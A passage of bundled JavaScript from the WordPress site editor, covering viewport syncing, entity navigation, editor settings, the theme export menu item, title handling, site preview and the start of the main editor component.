21690 return /* @__PURE__ */ (0, import_jsx_runtime161.jsx)("div", { className: "edit-site-canvas-loader", children: /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(Theme, { accent: textColor, background: backgroundColor, children: /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(import_components78.ProgressBar, { id, max: total, value: elapsed }) }) });
21691 }
21692
21693 // packages/edit-site/build-module/components/block-editor/use-site-editor-settings.mjs
21694 var import_data38 = __toESM(require_data(), 1);
21695 var import_element53 = __toESM(require_element(), 1);
21696 var import_router14 = __toESM(require_router(), 1);
21697 var import_compose9 = __toESM(require_compose(), 1);
21698 var import_editor14 = __toESM(require_editor(), 1);
21699
21700 // packages/edit-site/build-module/components/block-editor/use-navigate-to-entity-record.mjs
21701 var import_data37 = __toESM(require_data(), 1);
21702 var import_router13 = __toESM(require_router(), 1);
21703 var import_element52 = __toESM(require_element(), 1);
21704 var import_url8 = __toESM(require_url(), 1);
21705 var import_core_data28 = __toESM(require_core_data(), 1);
21706 var import_editor13 = __toESM(require_editor(), 1);
21707
21708 // packages/edit-site/build-module/components/block-editor/use-viewport-sync.mjs
21709 var import_element51 = __toESM(require_element(), 1);
21710 var import_data36 = __toESM(require_data(), 1);
21711 var import_router12 = __toESM(require_router(), 1);
21712 var import_editor12 = __toESM(require_editor(), 1);
21713 var { useLocation: useLocation11 } = unlock(import_router12.privateApis);
21714 var DEFAULT_DEVICE_TYPE = "Desktop";
21715 var VALID_DEVICE_TYPES = ["desktop", "tablet", "mobile"];
21716 var capitalize = (str) => str.charAt(0).toUpperCase() + str.slice(1);
21717 function useViewportSync() {
21718 const { query } = useLocation11();
21719 const { setDeviceType } = (0, import_data36.useDispatch)(import_editor12.store);
21720 (0, import_element51.useEffect)(() => {
21721 const viewport = query?.viewport?.toLowerCase();
21722 const isValid2 = VALID_DEVICE_TYPES.includes(viewport);
21723 setDeviceType(isValid2 ? capitalize(viewport) : DEFAULT_DEVICE_TYPE);
21724 }, [query?.viewport, setDeviceType]);
21725 }
21726 function ViewportSync() {
21727 useViewportSync();
21728 return null;
21729 }
21730
21731 // packages/edit-site/build-module/components/block-editor/use-navigate-to-entity-record.mjs
21732 var { useHistory: useHistory8, useLocation: useLocation12 } = unlock(import_router13.privateApis);
21733 var VALID_VIEWPORTS = ["desktop", "tablet", "mobile"];
21734 function useNavigateToEntityRecord() {
21735 const history = useHistory8();
21736 const location = useLocation12();
21737 const { query, path } = location;
21738 const registry = (0, import_data37.useRegistry)();
21739 const currentDeviceType = (0, import_data37.useSelect)(
21740 (select3) => select3(import_editor13.store).getDeviceType(),
21741 []
21742 );
21743 const onNavigateToEntityRecord = (0, import_element52.useCallback)(
21744 (params) => {
21745 const currentPostType = registry.select(import_editor13.store).getCurrentPostType();
21746 const currentPostId = registry.select(import_editor13.store).getCurrentPostId();
21747 const entityEdits = registry.select(import_core_data28.store).getEntityRecordEdits(
21748 "postType",
21749 currentPostType,
21750 currentPostId
21751 );
21752 const externalClientId = entityEdits?.selection?.selectionStart?.clientId;
21753 const urlUpdates = { ...query };
21754 if (externalClientId) {
21755 urlUpdates.selectedBlock = externalClientId;
21756 }
21757 const requestedViewport = typeof params.viewport === "string" ? params.viewport.toLowerCase() : void 0;
21758 const isValidRequestedViewport = VALID_VIEWPORTS.includes(requestedViewport);
21759 if (isValidRequestedViewport) {
21760 const currentViewportLower = (currentDeviceType || DEFAULT_DEVICE_TYPE).toLowerCase();
21761 if (currentViewportLower === DEFAULT_DEVICE_TYPE.toLowerCase()) {
21762 delete urlUpdates.viewport;
21763 } else {
21764 urlUpdates.viewport = currentViewportLower;
21765 }
21766 }
21767 const hasUpdatesToSave = externalClientId || isValidRequestedViewport;
21768 if (hasUpdatesToSave) {
21769 history.navigate((0, import_url8.addQueryArgs)(path, urlUpdates), {
21770 replace: true
21771 });
21772 }
21773 const queryArgs = {
21774 canvas: "edit",
21775 focusMode: true
21776 };
21777 if (isValidRequestedViewport) {
21778 queryArgs.viewport = requestedViewport;
21779 }
21780 const url = (0, import_url8.addQueryArgs)(
21781 `/${params.postType}/${params.postId}`,
21782 queryArgs
21783 );
21784 history.navigate(url);
21785 },
21786 [history, path, query, registry, currentDeviceType]
21787 );
21788 return onNavigateToEntityRecord;
21789 }
21790
21791 // packages/edit-site/build-module/components/block-editor/use-site-editor-settings.mjs
21792 var { useLocation: useLocation13, useHistory: useHistory9 } = unlock(import_router14.privateApis);
21793 var { useGlobalStyles: useGlobalStyles2 } = unlock(import_editor14.privateApis);
21794 function useNavigateToPreviousEntityRecord() {
21795 const location = useLocation13();
21796 const previousCanvas = (0, import_compose9.usePrevious)(location.query.canvas);
21797 const history = useHistory9();
21798 const goBack = (0, import_element53.useMemo)(() => {
21799 const isFocusMode = location.query.focusMode || location?.params?.postId && FOCUSABLE_ENTITIES.includes(location?.params?.postType);
21800 const didComeFromEditorCanvas = previousCanvas === "edit";
21801 const showBackButton = isFocusMode && didComeFromEditorCanvas;
21802 return showBackButton ? () => history.back() : void 0;
21803 }, [location, history, previousCanvas]);
21804 return goBack;
21805 }
21806 function useSpecificEditorSettings() {
21807 const { query } = useLocation13();
21808 const { canvas = "view" } = query;
21809 const onNavigateToEntityRecord = useNavigateToEntityRecord();
21810 const { merged: mergedConfig } = useGlobalStyles2();
21811 const { settings: settings2, currentPostIsTrashed } = (0, import_data38.useSelect)((select3) => {
21812 const { getSettings: getSettings7 } = select3(store);
21813 const { getCurrentPostAttribute } = select3(import_editor14.store);
21814 return {
21815 settings: getSettings7(),
21816 currentPostIsTrashed: getCurrentPostAttribute("status") === "trash"
21817 };
21818 }, []);
21819 const onNavigateToPreviousEntityRecord = useNavigateToPreviousEntityRecord();
21820 const [globalStyles, globalSettings] = (0, import_element53.useMemo)(() => {
21821 return generateGlobalStyles(mergedConfig, [], {
21822 disableRootPadding: false
21823 });
21824 }, [mergedConfig]);
21825 const defaultEditorSettings = (0, import_element53.useMemo)(() => {
21826 const nonGlobalStyles = (settings2?.styles ?? []).filter(
21827 (style) => !style.isGlobalStyles
21828 );
21829 return {
21830 ...settings2,
21831 styles: [
21832 ...nonGlobalStyles,
21833 ...globalStyles,
21834 {
21835 // Forming a "block formatting context" to prevent margin collapsing.
21836 // @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
21837 css: canvas === "view" ? `body{min-height: 100vh; ${currentPostIsTrashed ? "" : "cursor: pointer;"}}` : void 0
21838 }
21839 ],
21840 __experimentalFeatures: globalSettings,
21841 richEditingEnabled: true,
21842 supportsTemplateMode: true,
21843 focusMode: canvas !== "view",
21844 onNavigateToEntityRecord,
21845 onNavigateToPreviousEntityRecord,
21846 isPreviewMode: canvas === "view"
21847 };
21848 }, [
21849 settings2,
21850 globalStyles,
21851 globalSettings,
21852 canvas,
21853 currentPostIsTrashed,
21854 onNavigateToEntityRecord,
21855 onNavigateToPreviousEntityRecord
21856 ]);
21857 return defaultEditorSettings;
21858 }
21859
21860 // packages/edit-site/build-module/components/plugin-template-setting-panel/index.mjs
21861 var import_editor15 = __toESM(require_editor(), 1);
21862 var import_data39 = __toESM(require_data(), 1);
21863 var import_components79 = __toESM(require_components(), 1);
21864 var import_deprecated3 = __toESM(require_deprecated(), 1);
21865 var import_jsx_runtime162 = __toESM(require_jsx_runtime(), 1);
21866 var { Fill, Slot } = (0, import_components79.createSlotFill)("PluginTemplateSettingPanel");
21867 var PluginTemplateSettingPanel = ({ children }) => {
21868 (0, import_deprecated3.default)("wp.editSite.PluginTemplateSettingPanel", {
21869 since: "6.6",
21870 version: "6.8",
21871 alternative: "wp.editor.PluginDocumentSettingPanel"
21872 });
21873 const isCurrentEntityTemplate = (0, import_data39.useSelect)(
21874 (select3) => select3(import_editor15.store).getCurrentPostType() === "wp_template",
21875 []
21876 );
21877 if (!isCurrentEntityTemplate) {
21878 return null;
21879 }
21880 return /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(Fill, { children });
21881 };
21882 PluginTemplateSettingPanel.Slot = Slot;
21883 var plugin_template_setting_panel_default = PluginTemplateSettingPanel;
21884
21885 // packages/edit-site/build-module/components/more-menu/index.mjs
21886 var import_editor16 = __toESM(require_editor(), 1);
21887
21888 // packages/edit-site/build-module/components/more-menu/site-export.mjs
21889 var import_i18n64 = __toESM(require_i18n(), 1);
21890 var import_components80 = __toESM(require_components(), 1);
21891 var import_api_fetch3 = __toESM(require_api_fetch(), 1);
21892 var import_data40 = __toESM(require_data(), 1);
21893 var import_blob = __toESM(require_blob(), 1);
21894 var import_core_data29 = __toESM(require_core_data(), 1);
21895 var import_notices2 = __toESM(require_notices(), 1);
21896 var import_jsx_runtime163 = __toESM(require_jsx_runtime(), 1);
21897 function SiteExport() {
21898 const canExport = (0, import_data40.useSelect)((select3) => {
21899 const targetHints = select3(import_core_data29.store).getCurrentTheme()?._links?.["wp:export-theme"]?.[0]?.targetHints ?? {};
21900 return !!targetHints.allow?.includes("GET");
21901 }, []);
21902 const { createErrorNotice } = (0, import_data40.useDispatch)(import_notices2.store);
21903 if (!canExport) {
21904 return null;
21905 }
21906 async function handleExport() {
21907 try {
21908 const response = await (0, import_api_fetch3.default)({
21909 path: "/wp-block-editor/v1/export",
21910 parse: false,
21911 headers: {
21912 Accept: "application/zip"
21913 }
21914 });
21915 const blob = await response.blob();
21916 const contentDisposition = response.headers.get(
21917 "content-disposition"
21918 );
21919 const contentDispositionMatches = contentDisposition.match(/=(.+)\.zip/);
21920 const fileName = contentDispositionMatches[1] ? contentDispositionMatches[1] : "edit-site-export";
21921 (0, import_blob.downloadBlob)(fileName + ".zip", blob, "application/zip");
21922 } catch (errorResponse) {
21923 let error = {};
21924 try {
21925 error = await errorResponse.json();
21926 } catch (e2) {
21927 }
21928 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0, import_i18n64.__)("An error occurred while creating the site export.");
21929 createErrorNotice(errorMessage, { type: "snackbar" });
21930 }
21931 }
21932 return /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
21933 import_components80.MenuItem,
21934 {
21935 role: "menuitem",
21936 icon: download_default,
21937 onClick: handleExport,
21938 info: (0, import_i18n64.__)(
21939 "Download your theme with updated templates and styles."
21940 ),
21941 children: (0, import_i18n64._x)("Export", "site exporter menu item")
21942 }
21943 );
21944 }
21945
21946 // packages/edit-site/build-module/components/more-menu/welcome-guide-menu-item.mjs
21947 var import_i18n65 = __toESM(require_i18n(), 1);
21948 var import_data41 = __toESM(require_data(), 1);
21949 var import_components81 = __toESM(require_components(), 1);
21950 var import_preferences9 = __toESM(require_preferences(), 1);
21951 var import_jsx_runtime164 = __toESM(require_jsx_runtime(), 1);
21952 function WelcomeGuideMenuItem() {
21953 const { toggle } = (0, import_data41.useDispatch)(import_preferences9.store);
21954 return /* @__PURE__ */ (0, import_jsx_runtime164.jsx)(import_components81.MenuItem, { onClick: () => toggle("core/edit-site", "welcomeGuide"), children: (0, import_i18n65.__)("Welcome Guide") });
21955 }
21956
21957 // packages/edit-site/build-module/components/more-menu/index.mjs
21958 var import_jsx_runtime165 = __toESM(require_jsx_runtime(), 1);
21959 var { ToolsMoreMenuGroup, PreferencesModal } = unlock(import_editor16.privateApis);
21960 function MoreMenu() {
21961 return /* @__PURE__ */ (0, import_jsx_runtime165.jsxs)(import_jsx_runtime165.Fragment, { children: [
21962 /* @__PURE__ */ (0, import_jsx_runtime165.jsxs)(ToolsMoreMenuGroup, { children: [
21963 /* @__PURE__ */ (0, import_jsx_runtime165.jsx)(SiteExport, {}),
21964 /* @__PURE__ */ (0, import_jsx_runtime165.jsx)(WelcomeGuideMenuItem, {})
21965 ] }),
21966 /* @__PURE__ */ (0, import_jsx_runtime165.jsx)(PreferencesModal, {})
21967 ] });
21968 }
21969
21970 // packages/edit-site/build-module/components/block-editor/use-editor-iframe-props.mjs
21971 var import_data42 = __toESM(require_data(), 1);
21972 var import_keycodes5 = __toESM(require_keycodes(), 1);
21973 var import_element54 = __toESM(require_element(), 1);
21974 var import_i18n66 = __toESM(require_i18n(), 1);
21975 var import_editor17 = __toESM(require_editor(), 1);
21976 var import_router15 = __toESM(require_router(), 1);
21977 var import_url9 = __toESM(require_url(), 1);
21978 var { useLocation: useLocation14, useHistory: useHistory10 } = unlock(import_router15.privateApis);
21979 function useEditorIframeProps() {
21980 const { query, path } = useLocation14();
21981 const history = useHistory10();
21982 const { canvas = "view" } = query;
21983 const currentPostIsTrashed = (0, import_data42.useSelect)((select3) => {
21984 return select3(import_editor17.store).getCurrentPostAttribute("status") === "trash";
21985 }, []);
21986 const [isFocused, setIsFocused] = (0, import_element54.useState)(false);
21987 (0, import_element54.useEffect)(() => {
21988 if (canvas === "edit") {
21989 setIsFocused(false);
21990 }
21991 }, [canvas]);
21992 const viewModeIframeProps = {
21993 "aria-label": (0, import_i18n66.__)("Edit"),
21994 "aria-disabled": currentPostIsTrashed,
21995 title: null,
21996 role: "button",
21997 tabIndex: 0,
21998 onFocus: () => setIsFocused(true),
21999 onBlur: () => setIsFocused(false),
22000 onKeyDown: (event) => {
22001 const { keyCode } = event;
22002 if ((keyCode === import_keycodes5.ENTER || keyCode === import_keycodes5.SPACE) && !currentPostIsTrashed) {
22003 event.preventDefault();
22004 history.navigate((0, import_url9.addQueryArgs)(path, { canvas: "edit" }), {
22005 transition: "canvas-mode-edit-transition"
22006 });
22007 }
22008 },
22009 onClick: () => history.navigate((0, import_url9.addQueryArgs)(path, { canvas: "edit" }), {
22010 transition: "canvas-mode-edit-transition"
22011 }),
22012 onClickCapture: (event) => {
22013 if (currentPostIsTrashed) {
22014 event.preventDefault();
22015 event.stopPropagation();
22016 }
22017 },
22018 readonly: true
22019 };
22020 return {
22021 className: clsx_default("edit-site-visual-editor__editor-canvas", {
22022 "is-focused": isFocused && canvas === "view"
22023 }),
22024 ...canvas === "view" ? viewModeIframeProps : {}
22025 };
22026 }
22027
22028 // packages/edit-site/build-module/components/editor/use-editor-title.mjs
22029 var import_i18n68 = __toESM(require_i18n(), 1);
22030 var import_data44 = __toESM(require_data(), 1);
22031 var import_core_data31 = __toESM(require_core_data(), 1);
22032 var import_html_entities3 = __toESM(require_html_entities(), 1);
22033 var import_editor18 = __toESM(require_editor(), 1);
22034
22035 // packages/edit-site/build-module/components/routes/use-title.mjs
22036 var import_element55 = __toESM(require_element(), 1);
22037 var import_data43 = __toESM(require_data(), 1);
22038 var import_core_data30 = __toESM(require_core_data(), 1);
22039 var import_i18n67 = __toESM(require_i18n(), 1);
22040 var import_a11y3 = __toESM(require_a11y(), 1);
22041 var import_html_entities2 = __toESM(require_html_entities(), 1);
22042 var import_router16 = __toESM(require_router(), 1);
22043 var { useLocation: useLocation15 } = unlock(import_router16.privateApis);
22044 function useTitle(title) {
22045 const location = useLocation15();
22046 const siteTitle = (0, import_data43.useSelect)(
22047 (select3) => select3(import_core_data30.store).getEntityRecord("root", "site")?.title,
22048 []
22049 );
22050 const isInitialLocationRef = (0, import_element55.useRef)(true);
22051 (0, import_element55.useEffect)(() => {
22052 isInitialLocationRef.current = false;
22053 }, [location]);
22054 (0, import_element55.useEffect)(() => {
22055 if (isInitialLocationRef.current) {
22056 return;
22057 }
22058 if (title && siteTitle) {
22059 const formattedTitle = (0, import_i18n67.sprintf)(
22060 /* translators: Admin document title. 1: Admin screen name, 2: Network or site name. */
22061 (0, import_i18n67.__)("%1$s \u2039 %2$s \u2039 Editor \u2014 WordPress"),
22062 (0, import_html_entities2.decodeEntities)(title),
22063 (0, import_html_entities2.decodeEntities)(siteTitle)
22064 );
22065 document.title = formattedTitle;
22066 (0, import_a11y3.speak)(title, "assertive");
22067 }
22068 }, [title, siteTitle, location]);
22069 }
22070
22071 // packages/edit-site/build-module/components/editor/use-editor-title.mjs
22072 var { getTemplateInfo } = unlock(import_editor18.privateApis);
22073 function useEditorTitle(postType2, postId) {
22074 const { title, isLoaded } = (0, import_data44.useSelect)(
22075 (select3) => {
22076 const {
22077 getEditedEntityRecord,
22078 getCurrentTheme,
22079 hasFinishedResolution
22080 } = select3(import_core_data31.store);
22081 if (!postId) {
22082 return { isLoaded: false };
22083 }
22084 const _record = getEditedEntityRecord(
22085 "postType",
22086 postType2,
22087 postId
22088 );
22089 const { default_template_types: templateTypes = [] } = getCurrentTheme() ?? {};
22090 const templateInfo = getTemplateInfo({
22091 template: _record,
22092 templateTypes
22093 });
22094 const _isLoaded = hasFinishedResolution("getEditedEntityRecord", [
22095 "postType",
22096 postType2,
22097 postId
22098 ]);
22099 return {
22100 title: templateInfo.title,
22101 isLoaded: _isLoaded
22102 };
22103 },
22104 [postType2, postId]
22105 );
22106 let editorTitle;
22107 if (isLoaded) {
22108 editorTitle = (0, import_i18n68.sprintf)(
22109 // translators: A breadcrumb trail for the Admin document title. 1: title of template being edited, 2: type of template (Template or Template Part).
22110 (0, import_i18n68._x)("%1$s \u2039 %2$s", "breadcrumb trail"),
22111 (0, import_html_entities3.decodeEntities)(title),
22112 POST_TYPE_LABELS[postType2] ?? POST_TYPE_LABELS[TEMPLATE_POST_TYPE]
22113 );
22114 }
22115 useTitle(isLoaded && editorTitle);
22116 }
22117 var use_editor_title_default = useEditorTitle;
22118
22119 // packages/edit-site/build-module/components/editor/use-adapt-editor-to-canvas.mjs
22120 var import_data45 = __toESM(require_data(), 1);
22121 var import_block_editor17 = __toESM(require_block_editor(), 1);
22122 var import_editor19 = __toESM(require_editor(), 1);
22123 var import_element56 = __toESM(require_element(), 1);
22124 var import_preferences10 = __toESM(require_preferences(), 1);
22125 function useAdaptEditorToCanvas(canvas) {
22126 const { clearSelectedBlock } = (0, import_data45.useDispatch)(import_block_editor17.store);
22127 const {
22128 editPost,
22129 setDeviceType,
22130 closePublishSidebar,
22131 setIsListViewOpened: setIsListViewOpened2,
22132 setIsInserterOpened: setIsInserterOpened2
22133 } = (0, import_data45.useDispatch)(import_editor19.store);
22134 const { get: getPreference } = (0, import_data45.useSelect)(import_preferences10.store);
22135 const { getCurrentPost } = (0, import_data45.useSelect)(import_editor19.store);
22136 const registry = (0, import_data45.useRegistry)();
22137 (0, import_element56.useLayoutEffect)(() => {
22138 const isMediumOrBigger = window.matchMedia("(min-width: 782px)").matches;
22139 registry.batch(() => {
22140 clearSelectedBlock();
22141 if (getCurrentPost()?.type) {
22142 editPost({ selection: void 0 }, { undoIgnore: true });
22143 }
22144 setDeviceType(DEFAULT_DEVICE_TYPE);
22145 closePublishSidebar();
22146 setIsInserterOpened2(false);
22147 if (isMediumOrBigger && canvas === "edit" && getPreference("core", "showListViewByDefault") && !getPreference("core", "distractionFree")) {
22148 setIsListViewOpened2(true);
22149 } else {
22150 setIsListViewOpened2(false);
22151 }
22152 });
22153 }, [
22154 canvas,
22155 registry,
22156 clearSelectedBlock,
22157 editPost,
22158 setDeviceType,
22159 closePublishSidebar,
22160 setIsInserterOpened2,
22161 setIsListViewOpened2,
22162 getPreference,
22163 getCurrentPost
22164 ]);
22165 }
22166
22167 // packages/edit-site/build-module/components/editor/use-resolve-edited-entity.mjs
22168 var import_element57 = __toESM(require_element(), 1);
22169 var import_data46 = __toESM(require_data(), 1);
22170 var import_core_data32 = __toESM(require_core_data(), 1);
22171 var import_router17 = __toESM(require_router(), 1);
22172 var { useLocation: useLocation16 } = unlock(import_router17.privateApis);
22173 var postTypesWithoutParentTemplate = [
22174 ATTACHMENT_POST_TYPE,
22175 TEMPLATE_POST_TYPE,
22176 TEMPLATE_PART_POST_TYPE,
22177 NAVIGATION_POST_TYPE,
22178 PATTERN_TYPES.user
22179 ];
22180 var authorizedPostTypes = ["page", "post"];
22181 function getPostType(name2) {
22182 let postType2;
22183 if (name2 === "navigation-item") {
22184 postType2 = NAVIGATION_POST_TYPE;
22185 } else if (name2 === "pattern-item") {
22186 postType2 = PATTERN_TYPES.user;
22187 } else if (name2 === "template-part-item") {
22188 postType2 = TEMPLATE_PART_POST_TYPE;
22189 } else if (name2 === "templates") {
22190 postType2 = TEMPLATE_POST_TYPE;
22191 } else if (name2 === "template-item") {
22192 postType2 = TEMPLATE_POST_TYPE;
22193 } else if (name2 === "page-item" || name2 === "pages") {
22194 postType2 = "page";
22195 } else if (name2 === "post-item" || name2 === "posts") {
22196 postType2 = "post";
22197 } else if (name2 === "attachment-item") {
22198 postType2 = ATTACHMENT_POST_TYPE;
22199 }
22200 return postType2;
22201 }
22202 function useResolveEditedEntity() {
22203 const { editEntityRecord } = (0, import_data46.useDispatch)(import_core_data32.store);
22204 const { hasEntityRecord } = (0, import_data46.useSelect)(import_core_data32.store);
22205 const { name: name2, params = {}, query } = useLocation16();
22206 const { postId = query?.postId } = params;
22207 const postType2 = getPostType(name2, postId) ?? query?.postType;
22208 const { selectedBlock } = query;
22209 const appliedSelectionRef = (0, import_element57.useRef)(null);
22210 const homePage = (0, import_data46.useSelect)((select3) => {
22211 const { getHomePage } = unlock(select3(import_core_data32.store));
22212 return getHomePage();
22213 }, []);
22214 const resolvedTemplateId = (0, import_data46.useSelect)(
22215 (select3) => {
22216 if (postTypesWithoutParentTemplate.includes(postType2) && postId) {
22217 return;
22218 }
22219 if (postId && postId.includes(",")) {
22220 return;
22221 }
22222 const { getTemplateId } = unlock(select3(import_core_data32.store));
22223 if (postType2 && postId && authorizedPostTypes.includes(postType2)) {
22224 return getTemplateId(postType2, postId);
22225 }
22226 if (homePage?.postType === "page") {
22227 return getTemplateId("page", homePage?.postId);
22228 }
22229 if (homePage?.postType === "wp_template") {
22230 return homePage?.postId;
22231 }
22232 },
22233 [homePage, postId, postType2]
22234 );
22235 const context = (0, import_element57.useMemo)(() => {
22236 if (postTypesWithoutParentTemplate.includes(postType2) && postId) {
22237 return {};
22238 }
22239 if (postType2 && postId && authorizedPostTypes.includes(postType2)) {
22240 return { postType: postType2, postId };
22241 }
22242 if (homePage?.postType === "page") {
22243 return { postType: "page", postId: homePage?.postId };
22244 }
22245 return {};
22246 }, [homePage, postType2, postId]);
22247 let entity;
22248 if (postTypesWithoutParentTemplate.includes(postType2) && postId) {
22249 entity = { isReady: true, postType: postType2, postId, context };
22250 } else if (!!homePage) {
22251 entity = {
22252 isReady: resolvedTemplateId !== void 0,
22253 postType: TEMPLATE_POST_TYPE,
22254 postId: resolvedTemplateId,
22255 context
22256 };
22257 } else {
22258 entity = { isReady: false };
22259 }
22260 if (selectedBlock && entity.isReady && appliedSelectionRef.current !== selectedBlock) {
22261 const selectionPostType = entity.context?.postId ? entity.context.postType : entity.postType;
22262 const selectionPostId = entity.context?.postId ? entity.context.postId : entity.postId;
22263 if (hasEntityRecord("postType", selectionPostType, selectionPostId)) {
22264 editEntityRecord(
22265 "postType",
22266 selectionPostType,
22267 selectionPostId,
22268 {
22269 selection: {
22270 selectionStart: { clientId: selectedBlock },
22271 selectionEnd: { clientId: selectedBlock }
22272 }
22273 },
22274 { undoIgnore: true }
22275 );
22276 appliedSelectionRef.current = selectedBlock;
22277 }
22278 }
22279 return entity;
22280 }
22281 function useSyncDeprecatedEntityIntoState({
22282 postType: postType2,
22283 postId,
22284 context,
22285 isReady
22286 }) {
22287 const { setEditedEntity: setEditedEntity2 } = (0, import_data46.useDispatch)(store);
22288 (0, import_element57.useEffect)(() => {
22289 if (isReady) {
22290 setEditedEntity2(postType2, String(postId), context);
22291 }
22292 }, [isReady, postType2, postId, context, setEditedEntity2]);
22293 }
22294
22295 // packages/edit-site/build-module/components/editor/site-preview.mjs
22296 var import_i18n69 = __toESM(require_i18n(), 1);
22297 var import_data47 = __toESM(require_data(), 1);
22298 var import_core_data33 = __toESM(require_core_data(), 1);
22299 var import_dom2 = __toESM(require_dom(), 1);
22300 var import_url10 = __toESM(require_url(), 1);
22301 var import_jsx_runtime166 = __toESM(require_jsx_runtime(), 1);
22302 function SitePreview() {
22303 const siteUrl = (0, import_data47.useSelect)((select3) => {
22304 const { getEntityRecord } = select3(import_core_data33.store);
22305 const siteData = getEntityRecord("root", "__unstableBase");
22306 return siteData?.home;
22307 }, []);
22308 return /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
22309 "iframe",
22310 {
22311 src: (0, import_url10.addQueryArgs)(siteUrl, {
22312 // Parameter for hiding the admin bar.
22313 wp_site_preview: 1
22314 }),
22315 title: (0, import_i18n69.__)("Site Preview"),
22316 style: {
22317 display: "block",
22318 width: "100%",
22319 height: "100%",
22320 backgroundColor: "#fff"
22321 },
22322 onLoad: (event) => {
22323 const document2 = event.target.contentDocument;
22324 const focusableElements = import_dom2.focus.focusable.find(document2);
22325 focusableElements.forEach((element) => {
22326 element.style.pointerEvents = "none";
22327 element.tabIndex = -1;
22328 element.setAttribute("aria-hidden", "true");
22329 });
22330 }
22331 }
22332 );
22333 }
22334
22335 // packages/edit-site/build-module/components/editor/index.mjs
22336 var import_jsx_runtime167 = __toESM(require_jsx_runtime(), 1);
22337 var { Editor, BackButton } = unlock(import_editor20.privateApis);
22338 var { useHistory: useHistory11, useLocation: useLocation17 } = unlock(import_router18.privateApis);
22339 var { BlockKeyboardShortcuts } = unlock(import_block_library.privateApis);
22340 var toggleHomeIconVariants = {
22341 edit: {
22342 opacity: 0,
22343 scale: 0.2
22344 },
22345 hover: {
22346 opacity: 1,
22347 scale: 1,
22348 clipPath: "inset( 22% round 2px )"
22349 }
22350 };
22351 var siteIconVariants = {
22352 edit: {
22353 clipPath: "inset(0% round 0px)"
22354 },
22355 hover: {
22356 clipPath: "inset( 22% round 2px )"
22357 },
22358 tap: {
22359 clipPath: "inset(0% round 0px)"
22360 }
22361 };
22362 function getListPathForPostType(postType2) {
22363 switch (postType2) {
22364 case "navigation":
22365 return "/navigation";
22366 case "wp_block":
22367 return "/pattern?postType=wp_block";
22368 case "wp_template_part":
22369 return "/pattern?postType=wp_template_part";
22370 case "wp_template":
22371 return "/template";
22372 case "page":
22373 return "/page";
22374 case "post":
22375 return "/";
22376 }
22377 throw "Unknown post type";
22378 }
22379 function getNavigationPath(location, postType2) {
22380 const { path, name: name2 } = location;
22381 if ([
22382 "pattern-item",
22383 "template-part-item",
22384 "page-item",
22385 "template-item",
22386 "static-template-item",
22387 "post-item"
22388 ].includes(name2)) {
22389 return getListPathForPostType(postType2);
22390 }
22391 return (0, import_url11.addQueryArgs)(path, { canvas: void 0 });
22392 }
22393 function EditSiteEditor({ isHomeRoute = false }) {
22394 const disableMotion = (0, import_compose10.useReducedMotion)();
22395 const location = useLocation17();
22396 const history = useHistory11();
22397 const { canvas = "view" } = location.query;
22398 const isLoading = useIsSiteEditorLoading();
22399 useAdaptEditorToCanvas(canvas);
22400 const entity = useResolveEditedEntity();
22401 useSyncDeprecatedEntityIntoState(entity);
22402 const { postType: postType2, postId, context } = entity;
22403 const { isBlockBasedTheme, hasSiteIcon } = (0, import_data48.useSelect)((select3) => {
22404 const { getCurrentTheme, getEntityRecord } = select3(import_core_data34.store);
22405 const siteData = getEntityRecord("root", "__unstableBase", void 0);
22406 return {
22407 isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
22408 hasSiteIcon: !!siteData?.site_icon_url
22409 };
22410 }, []);
22411 const postWithTemplate = !!context?.postId;
22412 use_editor_title_default(
22413 postWithTemplate ? context.postType : postType2,
22414 postWithTemplate ? context.postId : postId
22415 );
22416 const _isPreviewingTheme = isPreviewingTheme();
22417 const iframeProps = useEditorIframeProps();
22418 const isEditMode = canvas === "edit";
22419 const loadingProgressId = (0, import_compose10.useInstanceId)(
22420 CanvasLoader,
22421 "edit-site-editor__loading-progress"
22422 );
22423 const editorSettings = useSpecificEditorSettings();
22424 const { resetZoomLevel } = unlock((0, import_data48.useDispatch)(import_block_editor18.store));
22425 const { setCurrentRevisionId } = unlock((0, import_data48.useDispatch)(import_editor20.store));
22426 const { createSuccessNotice } = (0, import_data48.useDispatch)(import_notices3.store);
22427 const onActionPerformed = (0, import_element58.useCallback)(
22428 (actionId, items) => {
22429 switch (actionId) {
22430 case "move-to-trash":
22431 case "delete-post":
22432 {
22433 history.navigate(
22434 getListPathForPostType(
22435 postWithTemplate ? context.postType : postType2
22436 )
22437 );
22438 }
22439 break;
22440 case "duplicate-post":
22441 {
22442 const newItem = items[0];
22443 const _title = typeof newItem.title === "string" ? newItem.title : newItem.title?.rendered;
22444 createSuccessNotice(
22445 (0, import_i18n70.sprintf)(
22446 // translators: %s: Title of the created post or template, e.g: "Hello world".
22447 (0, import_i18n70.__)('"%s" successfully created.'),
22448 (0, import_html_entities4.decodeEntities)(_title) || (0, import_i18n70.__)("(no title)")
22449 ),
22450 {
22451 type: "snackbar",
22452 id: "duplicate-post-action",
22453 actions: [
22454 {
22455 label: (0, import_i18n70.__)("Edit"),
22456 onClick: () => {
22457 history.navigate(
22458 `/${newItem.type}/${newItem.id}?canvas=edit`
22459 );
22460 }
22461 }
22462 ]
22463 }
22464 );
22465 }
22466 break;
22467 }
22468 },
22469 [
22470 postType2,
22471 context?.postType,
22472 postWithTemplate,
22473 history,
22474 createSuccessNotice
22475 ]
22476 );
22477 const isReady = !isLoading;
22478 const transition = {
22479 duration: disableMotion ? 0 : 0.2
22480 };
22481 return !isBlockBasedTheme && isHomeRoute ? /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(SitePreview, {}) : /* @__PURE__ */ (0, import_jsx_runtime167.jsxs)(import_jsx_runtime167.Fragment, { children: [
22482 /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(import_editor20.EditorKeyboardShortcutsRegister, {}),
22483 isEditMode && /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(BlockKeyboardShortcuts, {}),
22484 !isReady ? /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(CanvasLoader, { id: loadingProgressId }) : null,
22485 isEditMode && isReady && /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(
22486 WelcomeGuide,
22487 {
